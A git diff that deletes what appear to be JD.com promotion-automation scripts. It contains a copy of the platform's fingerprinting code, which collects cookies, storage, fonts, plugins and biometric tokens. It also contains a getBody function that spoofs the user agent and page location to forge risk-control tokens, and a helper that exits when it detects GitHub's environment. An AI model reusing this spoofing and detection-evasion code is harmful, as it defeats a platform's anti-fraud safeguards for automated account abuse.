"", - eid: "", - }; - this.isRpTok = !1; - this.obtainLocal = function (n) { - n = "undefined" !== typeof n && n ? !0 : !1; - var e = {}; - try { - var f = document.cookie.replace( - /(?:(?:^|.*;\s*)3AB9D23F7A4B3C9B\s*=\s*([^;]*).*$)|^.*$/, - "$1" - ); - 0 !== f.length && (e.cookie = f); - } catch (k) {} - try { - window.localStorage && - null !== window.localStorage && - 0 !== window.localStorage.length && - (e.localStorage = window.localStorage.getItem("3AB9D23F7A4B3C9B")); - } catch (k) {} - try { - window.sessionStorage && - null !== window.sessionStorage && - (e.sessionStorage = window.sessionStorage["3AB9D23F7A4B3C9B"]); - } catch (k) {} - try { - p.globalStorage && - (e.globalStorage = - window.globalStorage[".localdomain"]["3AB9D23F7A4B3C9B"]); - } catch (k) {} - try { - d && - "function" == typeof d.load && - "function" == typeof d.getAttribute && - (d.load("jdgia_user_data"), - (e.userData = d.getAttribute("3AB9D23F7A4B3C9B"))); - } catch (k) {} - try { - E.indexedDbId && (e.indexedDb = E.indexedDbId); - } catch (k) {} - try { - E.webDbId && (e.webDb = E.webDbId); - } catch (k) {} - try { - for (var r in e) - if (32 < e[r].length) { - _JdEid = e[r]; - n || (_eidFlag = !0); - break; - } - } catch (k) {} - try { - ("undefined" === typeof _JdEid || 0 >= _JdEid.length) && - this.db("3AB9D23F7A4B3C9B"); - if ("undefined" === typeof _JdEid || 0 >= _JdEid.length) - _JdEid = u("3AB9D23F7A4B3C9B"); - if ("undefined" === typeof _JdEid || 0 >= _JdEid.length) _eidFlag = !0; - } catch (k) {} - return _JdEid; - }; - var w = [], - A = - "Abadi MT Condensed Light;Adobe Fangsong Std;Adobe Hebrew;Adobe Ming Std;Agency FB;Arab;Arabic Typesetting;Arial Black;Batang;Bauhaus 93;Bell MT;Bitstream Vera Serif;Bodoni MT;Bookman Old Style;Braggadocio;Broadway;Calibri;Californian FB;Castellar;Casual;Centaur;Century Gothic;Chalkduster;Colonna MT;Copperplate Gothic Light;DejaVu LGC Sans Mono;Desdemona;DFKai-SB;Dotum;Engravers MT;Eras Bold ITC;Eurostile;FangSong;Forte;Franklin Gothic Heavy;French Script MT;Gabriola;Gigi;Gisha;Goudy Old Style;Gulim;GungSeo;Haettenschweiler;Harrington;Hiragino Sans GB;Impact;Informal Roman;KacstOne;Kino MT;Kozuka Gothic Pr6N;Lohit Gujarati;Loma;Lucida Bright;Lucida Fax;Magneto;Malgun Gothic;Matura MT Script Capitals;Menlo;MingLiU-ExtB;MoolBoran;MS PMincho;MS Reference Sans Serif;News Gothic MT;Niagara Solid;Nyala;Palace Script MT;Papyrus;Perpetua;Playbill;PMingLiU;Rachana;Rockwell;Sawasdee;Script MT Bold;Segoe Print;Showcard Gothic;SimHei;Snap ITC;TlwgMono;Tw Cen MT Condensed Extra Bold;Ubuntu;Umpush;Univers;Utopia;Vladimir Script;Wide Latin".split( - ";" - ), - y = - "4game;AdblockPlugin;AdobeExManCCDetect;AdobeExManDetect;Alawar NPAPI utils;Aliedit Plug-In;Alipay Security Control 3;AliSSOLogin plugin;AmazonMP3DownloaderPlugin;AOL Media Playback Plugin;AppUp;ArchiCAD;AVG SiteSafety plugin;Babylon ToolBar;Battlelog Game Launcher;BitCometAgent;Bitdefender QuickScan;BlueStacks Install Detector;CatalinaGroup Update;Citrix ICA Client;Citrix online plug-in;Citrix Receiver Plug-in;Coowon Update;DealPlyLive Update;Default Browser Helper;DivX Browser Plug-In;DivX Plus Web Player;DivX VOD Helper Plug-in;doubleTwist Web Plugin;Downloaders plugin;downloadUpdater;eMusicPlugin DLM6;ESN Launch Mozilla Plugin;ESN Sonar API;Exif Everywhere;Facebook Plugin;File Downloader Plug-in;FileLab plugin;FlyOrDie Games Plugin;Folx 3 Browser Plugin;FUZEShare;GDL Object Web Plug-in 16.00;GFACE Plugin;Ginger;Gnome Shell Integration;Google Earth Plugin;Google Earth Plug-in;Google Gears 0.5.33.0;Google Talk Effects Plugin;Google Update;Harmony Firefox Plugin;Harmony Plug-In;Heroes & Generals live;HPDetect;Html5 location provider;IE Tab plugin;iGetterScriptablePlugin;iMesh plugin;Kaspersky Password Manager;LastPass;LogMeIn Plugin 1.0.0.935;LogMeIn Plugin 1.0.0.961;Ma-Config.com plugin;Microsoft Office 2013;MinibarPlugin;Native Client;Nitro PDF Plug-In;Nokia Suite Enabler Plugin;Norton Identity Safe;npAPI Plugin;NPLastPass;NPPlayerShell;npTongbuAddin;NyxLauncher;Octoshape Streaming Services;Online Storage plug-in;Orbit Downloader;Pando Web Plugin;Parom.TV player plugin;PDF integrado do WebKit;PDF-XChange Viewer;PhotoCenterPlugin1.1.2.2;Picasa;PlayOn Plug-in;QQ2013 Firefox Plugin;QQDownload Plugin;QQMiniDL Plugin;QQMusic;RealDownloader Plugin;Roblox Launcher Plugin;RockMelt Update;Safer Update;SafeSearch;Scripting.Dictionary;SefClient Plugin;Shell.UIHelper;Silverlight Plug-In;Simple Pass;Skype Web Plugin;SumatraPDF Browser Plugin;Symantec PKI Client;Tencent FTN plug-in;Thunder DapCtrl NPAPI Plugin;TorchHelper;Unity Player;Uplay PC;VDownloader;Veetle TV Core;VLC Multimedia Plugin;Web Components;WebKit-integrierte PDF;WEBZEN Browser Extension;Wolfram Mathematica;WordCaptureX;WPI Detector 1.4;Yandex Media Plugin;Yandex PDF Viewer;YouTube Plug-in;zako".split( - ";" - ); - this.toJson = "object" === typeof JSON && JSON.stringify; - this.init = function () { - _fingerprint_step = 6; - t(); - _fingerprint_step = 7; - "function" !== typeof this.toJson && - (this.toJson = function (n) { - var e = typeof n; - if ("undefined" === e || null === n) return "null"; - if ("number" === e || "boolean" === e) return n + ""; - if ("object" === e && n && n.constructor === Array) { - e = []; - for (var f = 0; n.length > f; f++) e.push(this.toJson(n[f])); - return "[" + (e + "]"); - } - if ("object" === e) { - e = []; - for (f in n) - n.hasOwnProperty(f) && e.push('"' + f + '":' + this.toJson(n[f])); - return "{" + (e + "}"); - } - }); - this.sdkCollectInit(); - }; - this.sdkCollectInit = function () { - try { - try { - bp_bizid && (this.bizId = bp_bizid); - } catch (f) { - this.bizId = "jsDefault"; - } - var n = navigator.userAgent.toLowerCase(), - e = - !n.match(/(iphone|ipad|ipod)/i) && - (-1 < n.indexOf("android") || -1 < n.indexOf("adr")); - this.deviceInfo.isJdApp = -1 < n.indexOf("jdapp"); - this.deviceInfo.isJrApp = -1 < n.indexOf("jdjr"); - this.deviceInfo.userAgent = navigator.userAgent; - this.deviceInfo.isAndroid = e; - this.createWorker(); - } catch (f) {} - }; - this.db = function (n, e) { - try { - _fingerprint_step = "m"; - if (window.openDatabase) { - var f = window.openDatabase( - "sqlite_jdtdstorage", - "", - "jdtdstorage", - 1048576 - ); - void 0 !== e && "" != e - ? f.transaction(function (r) { - r.executeSql( - "CREATE TABLE IF NOT EXISTS cache(id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, name TEXT NOT NULL, value TEXT NOT NULL, UNIQUE (name))", - [], - function (k, g) {}, - function (k, g) {} - ); - r.executeSql( - "INSERT OR REPLACE INTO cache(name, value) VALUES(?, ?)", - [n, e], - function (k, g) {}, - function (k, g) {} - ); - }) - : f.transaction(function (r) { - r.executeSql( - "SELECT value FROM cache WHERE name=?", - [n], - function (k, g) { - 1 <= g.rows.length && (_JdEid = g.rows.item(0).value); - }, - function (k, g) {} - ); - }); - } - _fingerprint_step = "n"; - } catch (r) {} - }; - this.setCookie = function (n, e) { - void 0 !== e && - "" != e && - (document.cookie = - n + - "=" + - e + - "; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/; domain=" + - _root_domain); - }; - this.tdencrypt = function (n) { - n = this.toJson(n); - n = encodeURIComponent(n); - var e = "", - f = 0; - do { - var r = n.charCodeAt(f++); - var k = n.charCodeAt(f++); - var g = n.charCodeAt(f++); - var m = r >> 2; - r = ((r & 3) << 4) | (k >> 4); - var a = ((k & 15) << 2) | (g >> 6); - var b = g & 63; - isNaN(k) ? (a = b = 64) : isNaN(g) && (b = 64); - e = - e + - "23IL k; k++) - (C = q[k]), void 0 !== screen[C] && (z[C] = screen[C]); - q = ["devicePixelRatio", "screenTop", "screenLeft"]; - l = {}; - for (k = 0; q.length > k; k++) - (C = q[k]), void 0 !== window[C] && (l[C] = window[C]); - e.p = h; - e.w = l; - e.s = z; - e.sc = f; - e.tz = n.getTimezoneOffset(); - e.lil = w.sort().join("|"); - e.wil = ""; - f = {}; - try { - (f.cookie = navigator.cookieEnabled), - (f.localStorage = !!window.localStorage), - (f.sessionStorage = !!window.sessionStorage), - (f.globalStorage = !!window.globalStorage), - (f.indexedDB = !!window.indexedDB); - } catch (D) {} - e.ss = f; - e.ts.deviceTime = n.getTime(); - e.ts.deviceEndTime = new Date().getTime(); - return this.tdencrypt(e); - }; - this.collectSdk = function (n) { - try { - var e = this, - f = !1, - r = e.getLocal("BATQW722QTLYVCRD"); - if (null != r && void 0 != r && "" != r) - try { - var k = JSON.parse(r), - g = new Date().getTime(); - null != k && - void 0 != k.t && - "number" == typeof k.t && - (12e5 >= g - k.t && - void 0 != k.tk && - null != k.tk && - "" != k.tk && - k.tk.startsWith("jdd") - ? ((e.deviceInfo.sdkToken = k.tk), (f = !0)) - : void 0 != k.tk && - null != k.tk && - "" != k.tk && - (e.deviceInfo.sdkToken = k.tk)); - } catch (m) {} - r = !1; - e.deviceInfo.isJdApp - ? ((e.deviceInfo.clientVersion = navigator.userAgent.split(";")[2]), - (r = 0 < e.compareVersion(e.deviceInfo.clientVersion, "7.0.2")) && - !f && - e.getJdSdkCacheToken(function (m) { - e.deviceInfo.sdkToken = m; - (null != m && "" != m && m.startsWith("jdd")) || - e.getJdBioToken(n); - })) - : e.deviceInfo.isJrApp && - ((e.deviceInfo.clientVersion = navigator.userAgent.match( - /clientVersion=([^&]*)(&|$)/ - )[1]), - (r = 0 < e.compareVersion(e.deviceInfo.clientVersion, "4.6.0")) && - !f && - e.getJdJrSdkCacheToken(function (m) { - e.deviceInfo.sdkToken = m; - (null != m && "" != m && m.startsWith("jdd")) || - e.getJdJrBioToken(n); - })); - "function" == typeof n && n(e.deviceInfo); - } catch (m) {} - }; - this.compareVersion = function (n, e) { - try { - if (n === e) return 0; - var f = n.split("."); - var r = e.split("."); - for (n = 0; n < f.length; n++) { - var k = parseInt(f[n]); - if (!r[n]) return 1; - var g = parseInt(r[n]); - if (k < g) break; - if (k > g) return 1; - } - } catch (m) {} - return -1; - }; - this.isWKWebView = function () { - return this.deviceInfo.userAgent.match(/supportJDSHWK/i) || - 1 == window._is_jdsh_wkwebview - ? !0 - : !1; - }; - this.getErrorToken = function (n) { - try { - if (n) { - var e = (n + "").match(/"token":"(.*?)"/); - if (e && 1 < e.length) return e[1]; - } - } catch (f) {} - return ""; - }; - this.getJdJrBioToken = function (n) { - var e = this; - "undefined" != typeof JrBridge && - null != JrBridge && - "undefined" != typeof JrBridge._version && - (0 > e.compareVersion(JrBridge._version, "2.0.0") - ? console.error( - "\u6865\u7248\u672c\u4f4e\u4e8e2.0\u4e0d\u652f\u6301bio" - ) - : JrBridge.callNative( - { - type: e.bioConfig.type, - operation: e.bioConfig.operation, - biometricData: { - bizId: e.bizId, - duraTime: e.bioConfig.duraTime, - interval: e.bioConfig.interval, - }, - }, - function (f) { - try { - "object" != typeof f && (f = JSON.parse(f)), - (e.deviceInfo.sdkToken = f.token); - } catch (r) { - console.error(r); - } - null != e.deviceInfo.sdkToken && - "" != e.deviceInfo.sdkToken && - ((f = { - tk: e.deviceInfo.sdkToken, - t: new Date().getTime(), - }), - e.store("BATQW722QTLYVCRD", JSON.stringify(f))); - } - )); - }; - this.getJdJrSdkCacheToken = function (n) { - var e = this; - try { - "undefined" == typeof JrBridge || - null == JrBridge || - "undefined" == typeof JrBridge._version || - 0 > e.compareVersion(JrBridge._version, "2.0.0") || - JrBridge.callNative( - { - type: e.bioConfig.type, - operation: 5, - biometricData: { - bizId: e.bizId, - duraTime: e.bioConfig.duraTime, - interval: e.bioConfig.interval, - }, - }, - function (f) { - var r = ""; - try { - "object" != typeof f && (f = JSON.parse(f)), (r = f.token); - } catch (k) { - console.error(k); - } - null != r && - "" != r && - "function" == typeof n && - (n(r), - r.startsWith("jdd") && - ((f = { - tk: r, - t: new Date().getTime(), - }), - e.store("BATQW722QTLYVCRD", JSON.stringify(f)))); - } - ); - } catch (f) {} - }; - this.getJdBioToken = function (n) { - var e = this; - n = JSON.stringify({ - businessType: "bridgeBiologicalProbe", - callBackName: "_bioDeviceCb", - params: { - pin: "", - jsonData: { - type: e.bioConfig.type, - operation: e.bioConfig.operation, - data: { - bizId: e.bizId, - duraTime: e.bioConfig.duraTime, - interval: e.bioConfig.interval, - }, - biometricData: { - bizId: e.bizId, - duraTime: e.bioConfig.duraTime, - interval: e.bioConfig.interval, - }, - }, - }, - }); - e.isWKWebView() - ? window.webkit.messageHandlers.JDAppUnite.postMessage({ - method: "notifyMessageToNative", - params: n, - }) - : window.JDAppUnite && window.JDAppUnite.notifyMessageToNative(n); - window._bioDeviceCb = function (f) { - try { - var r = "object" == typeof f ? f : JSON.parse(f); - if (void 0 != r && null != r && "0" != r.status) return; - null != r.data.token && - void 0 != r.data.token && - "" != r.data.token && - (e.deviceInfo.sdkToken = r.data.token); - } catch (k) { - (f = e.getErrorToken(f)), - null != f && "" != f && (e.deviceInfo.sdkToken = f); - } - null != e.deviceInfo.sdkToken && - "" != e.deviceInfo.sdkToken && - ((f = { - tk: e.deviceInfo.sdkToken, - t: new Date().getTime(), - }), - e.store("BATQW722QTLYVCRD", JSON.stringify(f))); - }; - }; - this.getJdSdkCacheToken = function (n) { - try { - var e = this, - f = JSON.stringify({ - businessType: "bridgeBiologicalProbe", - callBackName: "_bioDeviceSdkCacheCb", - params: { - pin: "", - jsonData: { - type: e.bioConfig.type, - operation: 5, - data: { - bizId: e.bizId, - duraTime: e.bioConfig.duraTime, - interval: e.bioConfig.interval, - }, - biometricData: { - bizId: e.bizId, - duraTime: e.bioConfig.duraTime, - interval: e.bioConfig.interval, - }, - }, - }, - }); - e.isWKWebView() - ? window.webkit.messageHandlers.JDAppUnite.postMessage({ - method: "notifyMessageToNative", - params: f, - }) - : window.JDAppUnite && window.JDAppUnite.notifyMessageToNative(f); - window._bioDeviceSdkCacheCb = function (r) { - var k = ""; - try { - var g = "object" == typeof r ? r : JSON.parse(r); - if (void 0 != g && null != g && "0" != g.status) return; - k = g.data.token; - } catch (m) { - k = e.getErrorToken(r); - } - null != k && - "" != k && - "function" == typeof n && - (n(k), - k.startsWith("jdd") && - ((r = { - tk: k, - t: new Date().getTime(), - }), - e.store("BATQW722QTLYVCRD", JSON.stringify(r)))); - }; - } catch (r) {} - }; - this.store = function (n, e) { - try { - this.setCookie(n, e); - } catch (f) {} - try { - window.localStorage && window.localStorage.setItem(n, e); - } catch (f) {} - try { - window.sessionStorage && window.sessionStorage.setItem(n, e); - } catch (f) {} - try { - window.globalStorage && - window.globalStorage[".localdomain"].setItem(n, e); - } catch (f) {} - try { - this.db(n, _JdEid); - } catch (f) {} - }; - this.getLocal = function (n) { - var e = {}, - f = null; - try { - var r = document.cookie.replace( - new RegExp("(?:(?:^|.*;\\s*)" + n + "\\s*\\=\\s*([^;]*).*$)|^.*$"), - "$1" - ); - 0 !== r.length && (e.cookie = r); - } catch (g) {} - try { - window.localStorage && - null !== window.localStorage && - 0 !== window.localStorage.length && - (e.localStorage = window.localStorage.getItem(n)); - } catch (g) {} - try { - window.sessionStorage && - null !== window.sessionStorage && - (e.sessionStorage = window.sessionStorage[n]); - } catch (g) {} - try { - p.globalStorage && - (e.globalStorage = window.globalStorage[".localdomain"][n]); - } catch (g) {} - try { - d && - "function" == typeof d.load && - "function" == typeof d.getAttribute && - (d.load("jdgia_user_data"), (e.userData = d.getAttribute(n))); - } catch (g) {} - try { - E.indexedDbId && (e.indexedDb = E.indexedDbId); - } catch (g) {} - try { - E.webDbId && (e.webDb = E.webDbId); - } catch (g) {} - try { - for (var k in e) - if (32 < e[k].length) { - f = e[k]; - break; - } - } catch (g) {} - try { - if (null == f || "undefined" === typeof f || 0 >= f.length) f = u(n); - } catch (g) {} - return f; - }; - this.createWorker = function () { - if (window.Worker) { - try { - var n = new Blob( - [ - "onmessage = function (event) {\n var data = JSON.parse(event.data);\n try {\n var httpRequest;\n try {\n httpRequest = new XMLHttpRequest();\n } catch (h) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Microsoft.XMLHTTP')\n } catch (l) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml2.XMLHTTP')\n } catch (r) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml3.XMLHTTP')\n } catch (n) {}\n\n if(data){\n httpRequest['open']('POST', data.url, false);\n httpRequest['setRequestHeader']('Content-Type', 'application/x-www-form-urlencoded;charset=UTF-8');\n httpRequest['onreadystatechange'] = function () {\n if (4 === httpRequest['readyState'] && 200 === httpRequest['status']) {\n postMessage(httpRequest.responseText);\n }\n };\n httpRequest['send'](data.data);\n }\n\n }catch (e){console.error(e);}\n};", - ], - { - type: "application/javascript", - } - ); - } catch (e) { - (window.BlobBuilder = - window.BlobBuilder || - window.WebKitBlobBuilder || - window.MozBlobBuilder), - (n = new BlobBuilder()), - n.append( - "onmessage = function (event) {\n var data = JSON.parse(event.data);\n try {\n var httpRequest;\n try {\n httpRequest = new XMLHttpRequest();\n } catch (h) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Microsoft.XMLHTTP')\n } catch (l) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml2.XMLHTTP')\n } catch (r) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml3.XMLHTTP')\n } catch (n) {}\n\n if(data){\n httpRequest['open']('POST', data.url, false);\n httpRequest['setRequestHeader']('Content-Type', 'application/x-www-form-urlencoded;charset=UTF-8');\n httpRequest['onreadystatechange'] = function () {\n if (4 === httpRequest['readyState'] && 200 === httpRequest['status']) {\n postMessage(httpRequest.responseText);\n }\n };\n httpRequest['send'](data.data);\n }\n\n }catch (e){console.error(e);}\n};" - ), - (n = n.getBlob()); - } - try { - this.worker = new Worker(URL.createObjectURL(n)); - } catch (e) {} - } - }; - this.reportWorker = function (n, e, f, r) { - try { - null != this.worker && - (this.worker.postMessage( - JSON.stringify({ - url: n, - data: e, - success: !1, - async: !1, - }) - ), - (this.worker.onmessage = function (k) {})); - } catch (k) {} - }; -})(); - -function td_collect_exe() { - _fingerprint_step = 8; - var t = td_collect.collect(); - td_collect.collectSdk(); - var u = "string" === typeof orderId ? orderId : "", - v = "undefined" !== typeof jdfp_pinenp_ext && jdfp_pinenp_ext ? 2 : 1; - u = { - pin: _jdJrTdCommonsObtainPin(v), - oid: u, - p: "https:" == document.location.protocol ? "s" : "h", - fp: risk_jd_local_fingerprint, - ctype: v, - v: "2.7.10.4", - f: "3", - }; - try { - (u.o = _CurrentPageUrl), (u.qs = _url_query_str); - } catch (w) {} - _fingerprint_step = 9; - 0 >= _JdEid.length && - ((_JdEid = td_collect.obtainLocal()), 0 < _JdEid.length && (_eidFlag = !0)); - u.fc = _JdEid; - try { - u.t = jd_risk_token_id; - } catch (w) {} - try { - if ("undefined" != typeof gia_fp_qd_uuid && 0 <= gia_fp_qd_uuid.length) - u.qi = gia_fp_qd_uuid; - else { - var x = _JdJrRiskClientStorage.jdtdstorage_cookie("qd_uid"); - u.qi = void 0 == x ? "" : x; - } - } catch (w) {} - "undefined" != typeof jd_shadow__ && - 0 < jd_shadow__.length && - (u.jtb = jd_shadow__); - try { - td_collect.deviceInfo && - void 0 != td_collect.deviceInfo && - null != td_collect.deviceInfo.sdkToken && - "" != td_collect.deviceInfo.sdkToken - ? ((u.stk = td_collect.deviceInfo.sdkToken), (td_collect.isRpTok = !0)) - : (td_collect.isRpTok = !1); - } catch (w) { - td_collect.isRpTok = !1; - } - x = td_collect.tdencrypt(u); - // console.log(u) - return { a: x, d: t }; -} - -function _jdJrTdCommonsObtainPin(t) { - var u = ""; - "string" === typeof jd_jr_td_risk_pin && 1 == t - ? (u = jd_jr_td_risk_pin) - : "string" === typeof pin - ? (u = pin) - : "object" === typeof pin && - "string" === typeof jd_jr_td_risk_pin && - (u = jd_jr_td_risk_pin); - return u; -} - -function getBody(userAgent, url = document.location.href) { - navigator.userAgent = userAgent; - let href = url; - let choose = /((https?:)\/\/([^\/]+))(.+)/.exec(url); - let [, origin, protocol, host, pathname] = choose; - document.location.href = href; - document.location.origin = origin; - document.location.protocol = protocol; - document.location.host = host; - document.location.pathname = pathname; - const JF = new JdJrTdRiskFinger(); - let fp = JF.f.get(function (t) { - risk_jd_local_fingerprint = t; - return t; - }); - let arr = td_collect_exe(); - return { fp, ...arr }; -} - - -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} - diff --git a/jd_sendBeans.js b/jd_sendBeans.js deleted file mode 100644 index 639b1da6b..000000000 --- a/jd_sendBeans.js +++ /dev/null @@ -1,555 +0,0 @@ -/* -送豆得豆 -活动入口:来客有礼小程序 -已支持IOS双京东账号,Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -============Quantumultx=============== -[task_local] -#送豆得豆 -45 1,12 * * * 